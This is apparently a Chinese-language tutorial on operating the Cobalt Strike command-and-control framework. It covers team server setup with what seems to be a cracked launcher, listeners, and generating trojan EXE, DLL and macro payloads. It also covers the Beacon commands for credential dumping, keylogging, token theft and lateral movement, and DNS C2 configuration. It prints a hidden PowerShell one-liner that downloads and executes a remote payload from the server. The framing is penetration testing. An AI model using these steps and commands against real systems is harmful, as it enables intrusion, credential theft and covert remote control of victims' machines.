CS简介
什么是CS
Cobalt Strike是一款基于java语言开发的渗透测试神器,常被业界人称为CS神器。它被广泛用于模拟高级持久性威胁(Advanced Persistent Threat,APT)和进行内网渗透。
分为客户端与服务端 (CS架构的),多用于团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,
java执行,浏览器自动攻击等等
官方网站
官方文档
目录结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| logs resources scripts .cobaltstrike.beacon_keys agscript c2lint cobaltstrike,cobaltstrike.jar cobaltstrike.bat cobaltstrike.store CSAgent.jar icon.jpg peclone start.sh teamserver
|
安装和运行
服务端
团队服务器最好运行在 Linux平台上,服务端的关键文件是teamserver
和cobaltstrike.jar
,将这两个文件放在同一目录下运行 , teamserver要有可以运行的权限
1 2 3 4 5 6 7 8 9
| sudo chmod +x teamserver
sudo ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
sudo ./teamserver 192.168.74.131 3wHv
|
默认端口为50050。如果要修改端口号需编辑teamserver
文件sudo vim teamserver
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=Microsoft -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar -javaagent:CSAgent.jar=f38eb3d1a335b252b58bc2acde81b542 -Duser.language=en server.TeamServer $*
-XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=Microsoft -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar -javaagent:CSAgent.jar=f38eb3d1a335b252b58bc2acde81b542 -Duser.language=en
|
客户端
Linux:chmod +x start.sh
Windows: cobaltstrike.bat
如果Java未设置变量请将对应文件中的Java替换为具体的路径
指纹Hash一样,默认点Yes即可
菜单栏详情
Cobalt Strike
1 2 3 4 5
| New Connection Preferences VPN Interfaces Listenrs Script Manager
|
View
1 2 3 4 5 6 7 8 9
| Applications Credentials Event Log Keystrokes Proxy Pivots Screenshots Script Console Targets Web Log
|
Attacks
Packages(生成后门)
1 2 3 4
| HTML Application Payload Generator Windows Executable Windows Executable(Stageless)
|
Web Drive-by(钓鱼攻击)
1 2 3 4 5 6 7 8 9
| Manage Clone Site Host File Scripted Web Delivery web_delivery Signed Applet Attack Smart Applet Attack 下版本(该方法已过时) System Profiler
|
钓鱼邮件(弃用)
Reporting(报告)
1 2 3 4 5 6 7 8 9 10
| Activity Report Hosts Report Indicators of Compromise hashes Sessions Report Social Engineering Report Tactics, Techniques, and Procedures 策略和缓解策略 Reset Data Export Data
|
Help
1 2 3 4 5
| Homepage Support Arsenal System information About
|
工具栏
依次为:
- 新建连接
- 断开当前连接
- 监听器
- 改变视图为Pivot Graph(视图列表)
- 改变视图为Session Table(会话列表)
- 改变视图为Target Table(目标列表)
- 显示所有以获取的受害主机的凭证
- 查看已下载文件
- 查看键盘记录结果
- 查看屏幕截图
- 生成无状态的可执行exe木马
- 使用java自签名的程序进行钓鱼攻击
- 生成office宏病毒文件
- 为payload提供web服务以便下载和执行
- 提供文件下载,可以选择Mime类型
- 管理Cobalt Strike上运行的web服务
- 帮助
- 关于
基本流程
创建监听器
什么是监听器?
顾名思义,监听器就是等待被入侵系统连接自己的一个服务。
监听器的作用?
主要是为了接受payload回传的各类数据, 比如payload在目标机器执行以后,就会回连到监听器 ,
然后下载执行真正的shellcode代码
一旦监听器建立起来,团队成员只需要知道这个监听器的名称即可,不用关心监听器背后的基础环境,
一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。
监听器的名字一般由以下结构组成:
1 2
| Operating System/Payload/Stager 如 : windows/beacon_http/reverse_http
|
点击Cobalt Strike -> Listeners->Add,其中内置了8个Listener
包括dns、http、https、smb tcp 五种协议, External C2, 使用外部的命令与控制(C2)工具或框架,而不是使用 Cobalt Strike 默认的内置监听器, 可以配合其他c2作为后端, Foreign HTTP, 允许Beacon 使用外部的HTTP服务器进行C2通信,而不是使用 Cobalt Strike 内置的Beacon监听器
- Name随便写
- 选择所需的Payload
- Host为VPS_IP
- Port为此Payload监听的端口,未被占用即可
监听成功后,在服务端有对应的日志
生成木马
运行木马
双击木马上线
选中受害机右击,选择beacon,即可进行交互,由于受害机默认60秒进行一次回传,可以把时间设置成1或其他,但实际中频率不宜过快,容易被发现
或者进入会话,在下方输入sleep 1
也可以
执行系统命令
通信图
Beacon介绍
Beacon是什么?
Beacon是CS的Payload ( 攻击载荷 )
Beacon有两种通信模式。
- 异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;
- 交互式通信模式,这种模式的通信是实时发生的。
通过HTTP、HTTPS和DNS出口网络。使用SMB协议的时候是点对点通信
Beacon的类型
HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。
当受害机上线以后,右击选择Interact ,就可以打开Beacon Console
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| beacon> help
Beacon Commands =============== Command Description ------- ----------- ! 运行历史命令 argue 命令行参数欺骗 blockdlls 禁止子进程加载非微软签名的dll browserpivot 注入浏览器进程代理用户已认证身份(仅支持IE) cancel 取消正在下载的文件 cd 跳转目录 checkin 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver) chromedump 提取Chrome保存的账号密码、Cookies等信息 clear 清空beacon任务队列 connect 通过TCP正向连接远程Beacon covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从域控提取密码hash desktop 远程VNC控制用户桌面 dllinject 注入一个内存反射加载的dll到目标进程 dllload 使用LoadLibrary方式在目标进程中加载一个dll download 下载文件 downloads 列出所有正在下载的文件 drives 列出所有磁盘盘符 elevate 利用提权漏洞获取一个高权限Beacon execute 在目标上执行程序(无回显) execute-assembly 在目标上内存加载执行本地.NET程序 exit 结束当前Beacon会话 getprivs 在当前进程访问令牌(access token)中启用system特权 getsystem 尝试获取SYSTEM用户权限 getuid 获取当前进程访问令牌(access token)的用户信息 hashdump 获取本地用户hash help 帮助信息 history 显示历史命令记录 inject 在指定进程中注入新的Beacon会话 inline-execute 在当前会话中执行Beacon Object File jobkill 结束一个后台任务 jobs 列出所有后台任务 jump 在远程机器上植入Beacon(横向移动) kerberos_ccache_use 从ccache文件导入kerberos票据到当前会话中 kerberos_ticket_purge 清空当前会话中的所有kerberos票据 kerberos_ticket_use 从ticket文件中导入kerberos票据到当前会话中 keylogger 开启键盘记录 kill 结束指定进程 link 通过命名管道正向连接远程Beacon logonpasswords 使用mimikatz获取密码和hash ls 列出目录文件 make_token 创建进程访问令牌(access token),仅用于访问网络资源 mimikatz 运行mimikatz mkdir 创建目录 mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon) mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon) mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon) mv 移动文件 net 网络和主机探测工具(内置net命令) note 给当前会话添加备注信息 portscan 网络端口扫描 powerpick 内存执行Powershell命令(不调用powershell.exe) powershell 通过powershell.exe执行Powershell命令 powershell-import 导入本地powershell脚本到当前会话中 ppid 为所有新运行的进程设置伪造的父进程PID printscreen 使用PrintScr方式截屏 ps 显示进程列表 psinject 注入到指定进程后在内存中执行Powershell命令(不调用powershell.exe) pth 使用Mimikatz执行Pass-the-hash pwd 显示当前目录 reg 查询注册表 remote-exec 在远程机器上执行命令(横向移动) rev2self 恢复原始进程访问令牌(access token) rm 删除文件或文件夹 rportfwd 反向端口转发(从Cobalt Strike Teamserver发起连接) rportfwd_local 反向端口转发(从Cobalt Strike客户端发起连接) run 在目标上执行程序(有回显) runas 以另一个用户身份执行程序 runasadmin 以高权限执行程序 runu 以另一个进程PID作为父进程PID,并以其用户身份执行程序 screenshot 截屏 screenwatch 屏幕监控,每隔一段时间截屏 setenv 设置环境变量 shell 使用cmd.exe执行命令 shinject 注入shellcode到指定进程中 shspawn 创建傀儡进程并注入shellcode到其中运行 sleep 设置beacon回连间隔时间 socks 启动SOCKS4a代理服务器 socks stop 停止SOCKS4a代理服务器 spawn 创建一个新Beacon会话 spawnas 以另一个用户身份创建一个新Beacon会话 spawnto 设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径) spawnu 以另一个进程PID作为父进程PID,并以其用户身份创建一个新Beacon会话 spunnel 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike Teamserver发起连接) spunnel_local 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike客户端发起连接) ssh 通过SSH连接远程主机(使用账号密码认证) ssh-key 通过SSH连接远程主机(使用证书私钥认证) steal_token 从指定进程中窃取访问令牌(access token) timestomp 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造) unlink 断开与beacon的连接(用于通过TCP、命名管道连接的beacon) upload 上传文件
|
可用help 命令
的方式查看具体命令参数说明
退出会话:选中会话 , 右键退出回话 , 然后删除回话 , 如果再次上线了, 再删除一次
CS上线类型
exe上线(有阶段)
攻击 -> 生成后门 -> windows可执行程序 , 选择监听器和对应的操作系统位数
注意:有阶段的后门,你在双击时可以在CS的Web Log
中可以看到请求信息,这是双击时只是第一阶段会请求网址下载第二阶段的完整后门
将VPS的IP和Request:Get
后的路径组和起来就是http://192.168.74.131/EjZT
有的在线免杀的网站让提供的第二阶段地址就是此地址
exe上线(无阶段)
可以看到无阶段的文件大小要比有阶段的大.这是因为无阶段的将shellcode内置到了木马中.而有阶段需要去下载.更像是小马拉大马
Staged和Stageless的区别
生成的exe体积不同
上线经过的流程不同
- Staged(有阶段): 在有阶段的执行方式中,Cobalt Strike Payload 分为两个主要阶段,即Stager 和 Stage
- Stager(初始执行载荷):下载器
- 定义: Stager是Stage 1,是一个较小的、轻量级的初始执行载荷。
- 作用: 主要任务是与Cobalt Strike团队服务器建立初始连接,并从服务器下载更大的Payload,也就是Stage 2
- Stage (完整的执行载荷):
- 定义: Stage是Stage 2,是一个更大、更完整的执行载荷。
- 作用: 一旦Stager与Cobalt Strike团队服务器建立连接,Stager会请求下载Stage。Stage是整个Payload的主体,包含了更多的功能和模块。一旦下载,Stage在目标系统上执行,并与Cobalt Strike服务器保持连接,执行渗透测试人员指定的各种命令和操作。
- Stageless(无阶段):
- 定义: 在无阶段的执行方式中,整个 Payload 在一次性的过程中直接执行,而不需要分为两个阶段。
- 特点: 由于无阶段的执行方式减少了与团队服务器的交互,因此可能更难被检测。然而,这也限制了 Payload 的大小,因为整个 Payload 需要在一次连接中传输
Beacon DNS上线
域名的配置
域名设置如下:
1 2 3 4 5 6
| 一条A记录指向CS的IP地址 vpn.lavaicer.club => CS的IP地址 几条NS记录指向刚刚A记录对应的域名(也可以只写一条) ns1.lavaicer.club => vpn.lavaicer.club ns2.lavaicer.club => vpn.lavaicer.club ns3.lavaicer.club => vpn.lavaicer.club
|
创建监听器
生成Payload
powershell command上线
attacks
—>Packages
—>Payload生成器
选择powershell command
命令
Scripted Web Delivery(S)上线
Attacks
—>Web Drive-by
—>Scripted Web Delivery(S)
1 2 3 4 5
| powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.74.131:80/a'))" 本质上也是通过powershell远程加载上线,但是稍微有点不同, 这中攻击方式是攻击者在cs服务器上开启一个web站点 然后靶机中运行powershell命令-->向VPS发起请求-->响应payload作为powershell要执行的命令 属于payload远程加载执行的一种方式
|
DLL文件上线
Attacks
—>Packages
—>Windows可执行程序
—>Windwos DLL
将生成的dll文件上传到靶机 , 然后在靶机注册dll文件上线
在windows中可执行文件 , 不是只有.exe文件 , .dll文件和.com文件也都是可执行文件